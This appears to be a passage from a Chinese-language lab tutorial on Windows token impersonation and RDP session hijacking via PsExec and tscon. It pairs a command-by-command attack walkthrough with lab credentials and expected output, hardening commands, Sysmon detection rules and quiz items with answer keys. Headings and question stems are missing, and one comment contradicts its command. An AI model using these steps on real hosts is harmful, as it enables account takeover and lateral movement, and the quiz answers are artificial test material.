Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0
# 啟用 LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1
Windows 事件日誌監控:
| Event ID | 描述 | 偵測重點 | 
|---|---|---|
| 4624 | 帳戶登入 | Type 9(NewCredentials)可能表示 Token 模擬 | 
| 4672 | 特權使用 | SeImpersonatePrivilege 的使用 | 
| 4648 | 使用明確憑證登入 | 可能是 Token 模擬的前置動作 | 
| 4688 | 建立新處理程序 | 父程序與子程序的使用者不一致 | 
Sysmon 規則範例:
<RuleGroup name="Token Manipulation" groupRelation="or">
  <ProcessAccess onmatch="include">
    <GrantedAccess condition="is">0x1478</GrantedAccess>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
</RuleGroup>
PowerShell 監控:
# 檢查異常的 Token 使用
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4672} | 
    Where-Object {$_.Properties[1].Value -like "*SeImpersonatePrivilege*"}
| Token 擁有者 | 狀態 | 類型 | 價值評估 | 後續利用方向 | 
|---|---|---|---|---|
| jeor.mormont | 原始帳號 | 管理員 | 高 | 本機完全控制 | 
| robb.stark | 已模擬 | 網域使用者 | 中高 | 橫向移動、資料存取 | 
| sql_svc | 可模擬 | 服務帳號 | 極高 | Kerberoasting、特權操作 | 
| SYSTEM | 已擁有 | 系統帳號 | 極高 | 本機最高權限 | 
關鍵發現:
建議下一步行動:
Windows 的終端機服務(Terminal Services)允許具有 SYSTEM 權限的處理程序透過 tscon.exe 工具連接到任何使用者的 RDP Session,且無需驗證密碼。這是 Windows 設計的功能,原意是讓系統管理員能夠協助使用者排除問題,但卻成為攻擊者橫向移動和提權的有效途徑。
攻擊流程:
取得目標主機的管理員權限
    ↓
提升至 SYSTEM 權限
    ↓
列舉所有活躍的 RDP Sessions
    ↓
使用 tscon.exe 劫持目標 Session
    ↓
以目標使用者身份執行所有操作
必要條件:
作業系統限制:
| 作業系統版本 | 是否需要密碼 | 可利用性 | 
|---|---|---|
| Windows Server 2016 及更早版本 | 否 | 完全可利用 | 
| Windows Server 2019 及更新版本 | 是 | 已修補 | 
| Windows 10 1803 之前版本 | 否 | 完全可利用 | 
| Windows 10 1803 及更新版本 | 是 | 已修補 | 
本次實驗環境:
目標主機:BRAAVOS
IP 位址:192.168.139.23
作業系統:Windows Server 2016 Standard Evaluation
域:essos.local
狀態:易受攻擊(未修補版本)
首先,讓域管理員 daenerys.targaryen 登入目標主機:
xfreerdp3 /d:essos.local \
          /u:daenerys.targaryen \
          /p:'BurnThemAll!' \
          /v:192.168.139.23 \
          /cert:ignore \
          +clipboard
模擬使用者行為:
登入後開啟一些應用程式,例如:
whoami 確認身份為 essos\daenerys.targaryen
這些開啟的應用程式將在稍後的劫持中被看到,作為劫持成功的明顯證據。
接著,使用本機管理員帳號 khal.drogo 登入同一台主機:
xfreerdp3 /d:essos.local \
          /u:khal.drogo \
          /p:'horse' \
          /v:192.168.139.23 \
          /cert:ignore \
          +clipboard

注意事項:
在 khal.drogo 的 RDP Session 中開啟瀏覽器,前往:
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
下載 PSTools 套件並解壓縮至:
C:\Users\khal.drogo\Documents\PSTools
PsExec 是 Microsoft Sysinternals 套件中的工具,允許在本機或遠端電腦上執行處理程序。使用 -s 參數可以讓處理程序以 SYSTEM 身份執行。
關鍵參數:
-s:以 SYSTEM 帳戶執行-i:允許處理程序與桌面互動(開啟視窗)-accepteula:自動接受授權條款(避免首次執行提示)在 khal.drogo 的桌面上:
PowerShell
或在現有 PowerShell 中執行:
Start-Process powershell -Verb RunAs
在新開啟的 PowerShell 視窗中確認權限:
whoami
# 輸出:essos\khal.drogo
cd C:\Users\khal.drogo\Documents\PSTools
.\PsExec64.exe -s -i cmd.exe

預期輸出:
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
隨後會開啟一個新的 cmd.exe 視窗,這個視窗以 SYSTEM 身份執行。
在新開啟的 cmd.exe 視窗中:
whoami
正確輸出:
nt authority\system
如果輸出不是 nt authority\system,請檢查:
在 SYSTEM 權限的 cmd.exe 視窗中執行:
query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>khal.drogo            rdp-tcp#2           2  Active          .  10/11/2025 7:00 AM
 daenerys.targaryen                        3  Disc            6  10/11/2025 8:15 AM
欄位說明:
| 欄位 | 說明 | 本例數值 | 
|---|---|---|
| >符號 | 標記目前所在的 Session | khal.drogo 的 Session | 
| USERNAME | 登入的使用者名稱 | khal.drogo / daenerys.targaryen | 
| SESSIONNAME | Session 連線名稱 | rdp-tcp#2(khal)/ 空白(daenerys) | 
| ID | Session 的數字識別碼 | 2(khal)/ 3(daenerys) | 
| STATE | Session 狀態 | Active(活躍)/ Disc(中斷) | 
| IDLE TIME | 閒置時間 | .(剛操作)/ 6(閒置 6 分鐘) | 
| LOGON TIME | 登入時間 | 登入的具體時間 | 
Session 狀態說明:
從輸出中我們可以得知:
目標識別
攻擊者位置
> 符號表示這是目前所在的 Sessionrdp-tcp#2
劫持可行性
在 SYSTEM 權限的 cmd.exe 中執行:
tscon 3

指令說明:
tscon:Terminal Services Connection 工具3:要劫持的 Session ID(daenerys.targaryen 的 Session)tscon 3 /dest:rdp-tcp#2
參數說明:
3:目標 Session ID/dest:rdp-tcp#2:目的地 Session 名稱(khal.drogo 的 Session)注意: 如果省略 /dest 參數,tscon 會自動將目標 Session 劫持到執行指令的目前 Session。
攻擊者視角(khal.drogo 的 RDP 視窗):
執行 tscon 3 指令
    ↓
RDP 視窗畫面閃爍約 1-2 秒
    ↓
桌面環境完全改變
    ↓
現在顯示的是 daenerys 的桌面
    ↓
可以看到 daenerys 之前開啟的應用程式
    ↓
工作列、桌面背景、檔案都是 daenerys 的
受害者視角(daenerys.targaryen):
由於 daenerys 的 Session 原本就處於中斷狀態(Disc),她不會察覺到異常。如果她嘗試重新連線:
嘗試 RDP 連線到 BRAAVOS
    ↓
收到錯誤訊息:
「另一個使用者已登入此工作階段」
或
「工作階段已被鎖定」
在劫持後的桌面開啟 PowerShell 或 cmd.exe,執行:
whoami
預期輸出:
essos\daenerys.targaryen

組態政策設定:
# 停用 UNC 強化路徑存取
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths" `
                 -Name "\\*\*" `
                 -Value "RequireMutualAuthentication=1,RequireIntegrity=1"
SMB 強化:
共享資料夾管理:
# 停用 WebClient 服務
Set-Service WebClient -StartupType Disabled
Stop-Service WebClient
# 透過 GPO 部署到所有主機
LDAP 強化:
1. 啟用 LDAP Signing (強制)
2. 啟用 LDAP Channel Binding
3. 停用 LDAPS 上的 NTLM 認證
權限管理:
# 審查哪些帳號有 SeImpersonatePrivilege
whoami /priv
# 移除不必要的特權
隔離特權帳號:
限制 RDP 存取:
# 透過防火牆限制 RDP 來源
New-NetFirewallRule -DisplayName "RDP-Restricted" `
                    -Direction Inbound `
                    -Protocol TCP `
                    -LocalPort 3389 `
                    -RemoteAddress 10.10.10.0/24 `
                    -Action Allow
升級到最新版本:
Event ID 監控:
| Event ID | 描述 | 偵測內容 | 
|---|---|---|
| 4624 | 帳戶登入 | 異常來源 IP 的 Type 3 登入 | 
| 4672 | 特權使用 | SeDebugPrivilege, SeImpersonatePrivilege 的使用 | 
| 4648 | 使用明確憑證登入 | Token 模擬或 RunAs | 
| 4778 | RDP Session重新連線 | tscon 造成的Session切換 | 
Sysmon 規則:
<RuleGroup name="Token Impersonation" groupRelation="or">
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">impersonate</CommandLine>
    <CommandLine condition="contains">incognito</CommandLine>
  </ProcessCreate>
</RuleGroup>
<RuleGroup name="RDP Hijack" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Image condition="end with">tscon.exe</Image>
    <ParentImage condition="end with">cmd.exe</ParentImage>
  </ProcessCreate>
</RuleGroup>
A. .lnk
B. .scf
C. .url
D. 以上皆是
答案: D
解析: 所有這些檔案類型都會在 Explorer.exe 載入資料夾內容時自動嘗試讀取遠端 UNC 路徑,從而觸發 NTLM 認證。這是 Windows 檔案系統的設計特性,不需要使用者點擊檔案。
A. 預設啟用且執行中
B. 預設啟用但停止
C. 工作站安裝但停止,伺服器未安裝
D. 完全未安裝
答案: C
解析: WebClient (WebDAV) 服務在 Windows 工作站上預設安裝但停止,在 Windows Server 上則預設不安裝。這就是為什麼需要透過特殊檔案 (如 .searchConnector-ms) 來觸發服務自動啟動。
A. 速度更快
B. 可以 Relay 到 LDAP
C. 不需要憑證
D. 更隱蔽
答案: B
解析: HTTP 認證可以被 Relay 到 LDAP (如果未啟用 LDAP Signing/Channel Binding),這允許執行如 Shadow Credentials、RBCD、ACL 修改等高權限操作。HTTPS 則因為 Channel Binding 而較難 Relay。
A. Domain Admin
B. Local Admin
C. SeImpersonatePrivilege
D. SeDebugPrivilege
答案: C
解析: Token 模擬需要 SeImpersonatePrivilege 權限。這個權限允許 process「假扮」成其他使用者。許多服務帳號 (如 IIS、MSSQL) 預設擁有此權限,這也是 Potato 系列提權攻擊的基礎。
A. Windows Server 2012 R2
B. Windows Server 2016
C. Windows Server 2019
D. 所有版本都有此功能
答案: C
解析: Windows Server 2019 及更新版本已修補此問題,即使有 SYSTEM 權限也無法使用 tscon 無密碼劫持其他使用者的 RDP Session。Windows Server 2016 及更早版本仍然存在此風險。